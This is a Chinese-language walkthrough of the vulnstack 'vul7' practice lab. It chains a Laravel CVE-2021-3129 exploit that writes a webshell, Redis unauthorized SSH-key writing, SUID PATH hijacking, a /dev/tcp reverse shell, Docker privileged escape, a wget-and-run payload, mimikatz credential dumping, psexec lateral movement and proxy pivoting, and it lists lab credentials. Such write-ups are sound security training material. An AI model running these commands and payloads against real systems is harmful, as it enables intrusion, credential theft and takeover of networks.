环境搭建

源码下载http://vulnstack.qiyuanxuetang.net/vuln/detail/9/

靶场wphttps://www.freebuf.com/articles/network/264560.html

vul7靶场 - 图1

域用户信息

域用户账户和密码如下:

  • Administrator:Whoami2021
  • whoami:Whoami2021
  • bunny:Bunny2021
  • moretz:Moretz2021

Ubuntu 1:

  • web:web2021

Ubuntu 2:

  • ubuntu:ubuntu

通达OA账户:

  • admin:admin657260

信息搜集

首先对桥接出来的ip进行扫描

vul7靶场 - 图2

发现存在81端口,访问81端口。

vul7靶场 - 图3

发现是laravel。于是尝试CVE-2021-3129

关于Laravel漏洞 https://whoamianony.top/2021/01/15/漏洞复现/Laravel/Laravel Debug mode RCE(CVE-2021-3129)利用复现/

首先情况laravel.log

  1. POST /_ignition/execute-solution HTTP/1.1
  2. Host: 192.168.0.108:81
  3. Content-Type: application/json
  4. Content-Length: 328
  5. {
  6. "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  7. "parameters": {
  8. "variableName": "username",
  9. "viewFile": "php://filter/write=convert.iconv.utf-8.utf-16be|convert.quoted-printable-encode|convert.iconv.utf-16be.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  10. }
  11. }

用phpggc生成序列化后的payload

  1. php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "phpinfo();" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

先加后缀

  1. POST /_ignition/execute-solution HTTP/1.1
  2. Host: 192.168.0.108:81
  3. Content-Type: application/json
  4. Content-Length: 163
  5. {
  6. "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  7. "parameters": {
  8. "variableName": "username",
  9. "viewFile": "AA"
  10. }
  11. }

然后

  1. POST /_ignition/execute-solution HTTP/1.1
  2. Host: 192.168.0.108:81
  3. Content-Type: application/json
  4. Content-Length: 4770
  5. {
  6. "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  7. "parameters": {
  8. "variableName": "username",
  9. "viewFile": "=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=58=00=31=00=39=00=49=00=51=00=55=00=78=00=55=00=58=00=30=00=4E=00=50=00=54=00=56=00=42=00=4A=00=54=00=45=00=56=00=53=00=4B=00=43=00=6B=00=37=00=49=00=44=00=38=00=2B=00=44=00=51=00=72=00=2B=00=41=00=51=00=41=00=41=00=41=00=51=00=41=00=41=00=41=00=42=00=45=00=41=00=41=00=41=00=41=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=44=00=49=00=41=00=51=00=41=00=41=00=54=00=7A=00=6F=00=30=00=4D=00=44=00=6F=00=69=00=53=00=57=00=78=00=73=00=64=00=57=00=31=00=70=00=62=00=6D=00=46=00=30=00=5A=00=56=00=78=00=43=00=63=00=6D=00=39=00=68=00=5A=00=47=00=4E=00=68=00=63=00=33=00=52=00=70=00=62=00=6D=00=64=00=63=00=55=00=47=00=56=00=75=00=5A=00=47=00=6C=00=75=00=5A=00=30=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=43=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6C=00=64=00=6D=00=56=00=75=00=64=00=48=00=4D=00=69=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=56=00=7A=00=58=00=45=00=52=00=70=00=63=00=33=00=42=00=68=00=64=00=47=00=4E=00=6F=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=45=00=36=00=65=00=33=00=4D=00=36=00=4D=00=54=00=59=00=36=00=49=00=67=00=41=00=71=00=41=00=48=00=46=00=31=00=5A=00=58=00=56=00=6C=00=55=00=6D=00=56=00=7A=00=62=00=32=00=78=00=32=00=5A=00=58=00=49=00=69=00=4F=00=32=00=45=00=36=00=4D=00=6A=00=70=00=37=00=61=00=54=00=6F=00=77=00=4F=00=30=00=38=00=36=00=4D=00=6A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=54=00=47=00=39=00=68=00=5A=00=47=00=56=00=79=00=58=00=45=00=56=00=32=00=59=00=57=00=78=00=4D=00=62=00=32=00=46=00=6B=00=5A=00=58=00=49=00=69=00=4F=00=6A=00=41=00=36=00=65=00=33=00=31=00=70=00=4F=00=6A=00=45=00=37=00=63=00=7A=00=6F=00=30=00=4F=00=69=00=4A=00=73=00=62=00=32=00=46=00=6B=00=49=00=6A=00=74=00=39=00=66=00=58=00=4D=00=36=00=4F=00=44=00=6F=00=69=00=41=00=43=00=6F=00=41=00=5A=00=58=00=5A=00=6C=00=62=00=6E=00=51=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=67=00=36=00=49=00=6B=00=6C=00=73=00=62=00=48=00=56=00=74=00=61=00=57=00=35=00=68=00=64=00=47=00=56=00=63=00=51=00=6E=00=4A=00=76=00=59=00=57=00=52=00=6A=00=59=00=58=00=4E=00=30=00=61=00=57=00=35=00=6E=00=58=00=45=00=4A=00=79=00=62=00=32=00=46=00=6B=00=59=00=32=00=46=00=7A=00=64=00=45=00=56=00=32=00=5A=00=57=00=35=00=30=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=45=00=77=00=4F=00=69=00=4A=00=6A=00=62=00=32=00=35=00=75=00=5A=00=57=00=4E=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=74=00=50=00=4F=00=6A=00=4D=00=79=00=4F=00=69=00=4A=00=4E=00=62=00=32=00=4E=00=72=00=5A=00=58=00=4A=00=35=00=58=00=45=00=64=00=6C=00=62=00=6D=00=56=00=79=00=59=00=58=00=52=00=76=00=63=00=6C=00=78=00=4E=00=62=00=32=00=4E=00=72=00=52=00=47=00=56=00=6D=00=61=00=57=00=35=00=70=00=64=00=47=00=6C=00=76=00=62=00=69=00=49=00=36=00=4D=00=6A=00=70=00=37=00=63=00=7A=00=6F=00=35=00=4F=00=69=00=49=00=41=00=4B=00=67=00=42=00=6A=00=62=00=32=00=35=00=6D=00=61=00=57=00=63=00=69=00=4F=00=30=00=38=00=36=00=4D=00=7A=00=55=00=36=00=49=00=6B=00=31=00=76=00=59=00=32=00=74=00=6C=00=63=00=6E=00=6C=00=63=00=52=00=32=00=56=00=75=00=5A=00=58=00=4A=00=68=00=64=00=47=00=39=00=79=00=58=00=45=00=31=00=76=00=59=00=32=00=74=00=44=00=62=00=32=00=35=00=6D=00=61=00=57=00=64=00=31=00=63=00=6D=00=46=00=30=00=61=00=57=00=39=00=75=00=49=00=6A=00=6F=00=78=00=4F=00=6E=00=74=00=7A=00=4F=00=6A=00=63=00=36=00=49=00=67=00=41=00=71=00=41=00=47=00=35=00=68=00=62=00=57=00=55=00=69=00=4F=00=33=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=59=00=57=00=4A=00=6A=00=5A=00=47=00=56=00=6D=00=5A=00=79=00=49=00=37=00=66=00=58=00=4D=00=36=00=4E=00=7A=00=6F=00=69=00=41=00=43=00=6F=00=41=00=59=00=32=00=39=00=6B=00=5A=00=53=00=49=00=37=00=63=00=7A=00=6F=00=79=00=4E=00=54=00=6F=00=69=00=50=00=44=00=39=00=77=00=61=00=48=00=41=00=67=00=63=00=47=00=68=00=77=00=61=00=57=00=35=00=6D=00=62=00=79=00=67=00=70=00=4F=00=79=00=42=00=6C=00=65=00=47=00=6C=00=30=00=4F=00=79=00=41=00=2F=00=50=00=69=00=49=00=37=00=66=00=58=00=31=00=39=00=43=00=41=00=41=00=41=00=41=00=48=00=52=00=6C=00=63=00=33=00=51=00=75=00=64=00=48=00=68=00=30=00=42=00=41=00=41=00=41=00=41=00=4B=00=45=00=4B=00=37=00=6D=00=45=00=45=00=41=00=41=00=41=00=41=00=44=00=48=00=35=00=2F=00=32=00=4B=00=51=00=42=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=41=00=64=00=47=00=56=00=7A=00=64=00=46=00=46=00=39=00=70=00=54=00=70=00=59=00=71=00=33=00=4A=00=66=00=38=00=43=00=4C=00=59=00=56=00=67=00=5A=00=67=00=6C=00=55=00=33=00=57=00=57=00=31=00=32=00=34=00=41=00=67=00=41=00=41=00=41=00=45=00=64=00=43=00=54=00=55=00=49=00=3D=00a"
  10. }
  11. }

最后消掉其他字符,只留下phar文件

  1. POST /_ignition/execute-solution HTTP/1.1
  2. Host: 192.168.0.108:81
  3. Content-Type: application/json
  4. Content-Length: 299
  5. {
  6. "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  7. "parameters": {
  8. "variableName": "username",
  9. "viewFile": "php://filter/write=convert.quoted-printable-decode|convert.iconv.utf-16le.utf-8|convert.base64-decode/resource=../storage/logs/laravel.log"
  10. }
  11. }

然后触发反序列化

  1. POST /_ignition/execute-solution HTTP/1.1
  2. Host: 192.168.0.108:81
  3. Content-Type: application/json
  4. Content-Length: 210
  5. {
  6. "solution": "Facade\\Ignition\\Solutions\\MakeViewVariableOptionalSolution",
  7. "parameters": {
  8. "variableName": "username",
  9. "viewFile": "phar:///var/www/storage/logs/laravel.log/test.txt"
  10. }
  11. }

重复操作写入shell.php

  1. php -d "phar.readonly=0" ./phpggc Laravel/RCE5 "system('echo PD9waHAgZXZhbCgkX1BPU1Rbd2hvYW1pXSk7Pz4=|base64 -d > /var/www/html/shell.php');" --phar phar -o php://output | base64 -w 0 | python -c "import sys;print(''.join(['=' + hex(ord(i))[2:] + '=00' for i in sys.stdin.read()]).upper())"

然后蚁剑连接。

通过简单信息搜集发现我们处在docker容器中

vul7靶场 - 图4

所以接下来想到逃逸docker,首先要提权。官方文档中提到了Linux环境变量提权,我们直接使用find命令来搜索具有SUID或4000权限的文件:

  1. find / -perm -u=s -type f 2>/dev/null

可以看到有一个奇怪的shell文件,它具有SUID权限。

vul7靶场 - 图5

发现了这个文件其实就是执行了一个ps

vul7靶场 - 图6

可以看到shell文件执行了ps命令,并且未使用绝对路径,所以我们可以尝试更改$PATH来执行我们的恶意程序,从而获得目标主机的高权限shell。

我们反弹shell发现根本ping不通我们的vps。这里的docker环境是不出网的

docker反弹shell哪里,不论是一句话或者是msf反弹shell,都会对外建立一个通信端口,但是这个端口没被docker代理,所以反弹不出来。

Redis未授权访问

我们想起还有一个开放的6379端口。看看能不能利用

vul7靶场 - 图7

发现存在未授权访问。于是尝试写入ssh公钥。

先在攻击机上生成ssh公钥

  1. ssh-keygen -t rsa

vul7靶场 - 图8

  1. (echo -e "\n\n"; cat /home/kali/.ssh/id_rsa; echo -e "\n\n") > foo.txt

将公钥导入foo.txt里

  1. cat foo.txt | redis-cli -h 192.168.0.105 -p 6379 -x set hello

将foo.txt打入redis缓存中

vul7靶场 - 图9

  1. config set dir /root/.ssh
  2. config set dbfilename authorized_keys
  3. save

vul7靶场 - 图10

vul7靶场 - 图11

注意要用root,否则不行

拿到shell发现查看ifconfig

vul7靶场 - 图12

查看nginx配置。发现这是一台反向代理服务器。所以刚才不能弹shell

vul7靶场 - 图13

所以81端口只能反弹shell到这台ubuntu里。

vul7靶场 - 图14

vul7靶场 - 图15

反弹以后suid提权。

反弹shell以后操作

  1. cd /tmp
  2. echo "/bin/bash" > ps
  3. chmod 777 ps
  4. echo $PATH
  5. export PATH=/tmp:$PATH # 将/tmp添加到环境变量中,并且先加载执行/tmp里的程序
  6. cd /home/jobs
  7. ./shell

vul7靶场 - 图16

拿到root权限,再次反弹到ubuntu1中

  1. bash -c "bash -i >& /dev/tcp/192.168.52.10/11451 0>&1"

vul7靶场 - 图17

因为这个是个docker容器,因此要进行docker逃逸。

特权模式逃逸

原理

使用特权模式启动容器,可以获取大量设备文件访问权限。因为当管理员执行docker run —privileged时,Docker容器将被允许访问主机上的所有设备,并可以执行mount命令进行挂载

漏洞利用

  1. fdisk -l #查看磁盘文件
  2. ls /dev #查看设备文件

vul7靶场 - 图18

有三个磁盘文件和N个设备文件,我们将/dev/sda1挂载到自己创建的文件夹

  1. mkdir hello
  2. mount /dev/sda1 /hello
  3. ls /hello

vul7靶场 - 图19

挂载成功。因为ubuntu不好写计划任务反弹shell。因此写ssh。

  1. ssh-keygen -f hello #生成密钥对

vul7靶场 - 图20

把生成的pub文件内容写到公钥里去

  1. echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDE39KBOwyYCuOlxqBunm5cGJVQmEhUSQsmtjrcvSRc6MwBmsJouqxS+bUZA2zSwlX6gHYFUOA2yfeuvzU835ZwLferw8QSDe29BKgHtAR/x4x7vYB/FLl2QDV1WeFZNzxFmyDypCAwbFyZayGPmhuNkMenMmdHlPRlGM5dtMGv0DHiaokbTIjuPYR4DIqr05egT2b8j5kmI5i9LNNJ3s97w+69Deor0XbowWNs97ot6ZbmJO3AEInw5yoU/Em4wlTt/hcAEgGMB8mbHzvVb2Myi0DFNPn/ZME4qM9RiuVIlQ33+M3rBnob3gD/ww8xRsVtu2RpxVeGmClzTv/EsWzH root@ubuntu' > home/ubuntu/.ssh/authorized_key
  2. 登录
  3. ssh -i hello ubuntu@192.168.52.20 #用hello私钥登录

vul7靶场 - 图21

登录后发现有93网段,怀疑是内网网段

vul7靶场 - 图22

此时的内网拓扑图

vul7靶场 - 图23

内网渗透

内网渗透首先要上线外网机器。首先上线redis打下来的服务器。

本次使用VIPER框架

vul7靶场 - 图24

然后添加内网路由.

同时上线web2,传文件的时候先在web1上开启http服务

vul7靶场 - 图25

  1. wget -qO shell1 http://192.168.52.10:8000/2.elf;chmod +x shell1; ./shell1 disown

然后对93网段进行netbios扫描

  1. 扫描结果
  2. 192.168.93.30 WHOAMIANONY/DC
  3. Windows Server 2012 R2 Datacenter 9600|Windows Server 2012 R2 Datacenter 6.3|
  4. Build Number: 9600
  5. Major Version: 6
  6. Minor Version: 3
  7. Ntlm Current Revision: 15
  8. Names:
  9. DC G Workstation Service
  10. WHOAMIANONY G Domain Name
  11. WHOAMIANONY G Domain Controllers
  12. DC U Server Service
  13. WHOAMIANONY U Domain Master Browser
  14. Netbios Item:
  15. NetBIOS domain name: WHOAMIANONY
  16. NetBIOS computer name: DC
  17. DNS domain name: whoamianony.org
  18. DNS computer name: DC.whoamianony.org
  19. DNS tree name: whoamianony.org
  20. Time stamp: 2022-01-24, 22:09:49
  21. -----------------------------------------------
  22. 192.168.93.40 WHOAMIANONY/PC2
  23. Windows 7 Professional 7601 Service Pack 1|Windows 7 Professional 6.1|
  24. Build Number: 7601
  25. Major Version: 6
  26. Minor Version: 1
  27. Ntlm Current Revision: 15
  28. Names:
  29. PC2 G Workstation Service
  30. WHOAMIANONY G Domain Name
  31. PC2 U Server Service
  32. WHOAMIANONY G Browser Service Elections
  33. WHOAMIANONY U Master Browser
  34. __MSBROWSE__ - -
  35. Netbios Item:
  36. NetBIOS domain name: WHOAMIANONY
  37. NetBIOS computer name: PC2
  38. DNS domain name: whoamianony.org
  39. DNS computer name: PC2.whoamianony.org
  40. DNS tree name: whoamianony.org
  41. Time stamp: 2022-01-24, 22:09:50
  42. -----------------------------------------------

发现两台机器,其中30机器为域控机器。对这两台机器进行MS17-010

通达OA

访问发现

vul7靶场 - 图26

经过测试发现是个通达OA,经测试其版本为通达OA V11.3,该版本存在任意用户登录、文件包含和文件上传等多个漏洞。

https://blog.csdn.net/szgyunyun/article/details/107104288

照着操作抓包登录。

vul7靶场 - 图27

接下来就不演示了,这里直接上线。主要是为了学习一下不出网主机如何上线

这里PC2是不出网的,我们看看这台PC2如何上线。

参考https://xz.aliyun.com/t/8671

1.SMB beacon

vul7靶场 - 图28

使用条件

1.具有 SMB Beacon 的主机必须接受 445 端口上的连接。
2.只能链接由同一个 Cobalt Strike 实例管理的 Beacon。
3.利用这种beacon横移必须有目标主机的管理员权限或者说是拥有具有管理员权限的凭据。

使用方法

web服务器上线cs,run mimikatz抓取密码

https://blog.csdn.net/m0_38036918/article/details/122240035 简单的使用示例

vul7靶场 - 图29

Administrator下选择run mimikatz

然后可以得到密码信息

vul7靶场 - 图30

之后创建SMB beacon

vul7靶场 - 图31

使用jump psexec PC2 SMB

vul7靶场 - 图32

横向移动到PC2上。

配置listener通过HTTP代理上线

这次学习一下使用goproxy搭建代理

https://github.com/snail007/goproxy/releases

上传proxy.exe后执行

  1. shell C:\test\proxy.exe http -t tcp -p "0.0.0.0:8080" --daemon

用netsh命令把外网ip的8080端口转发到内网ip的192.168.204.188的822端口(必须为未使用的端口,否则会失败),web服务器的80端口被占用,不能使用

  1. shell netsh interface portproxy add v4tov4 listenaddress=192.168.93.20 listenport=822 connectaddress=101.34.177.35 connectport=8999

如果要查看端口映射

  1. netsh interface portproxy show all

检测端口是否启用

  1. netstat -ano | findstr :822

创建listener

vul7靶场 - 图33

然后即可上线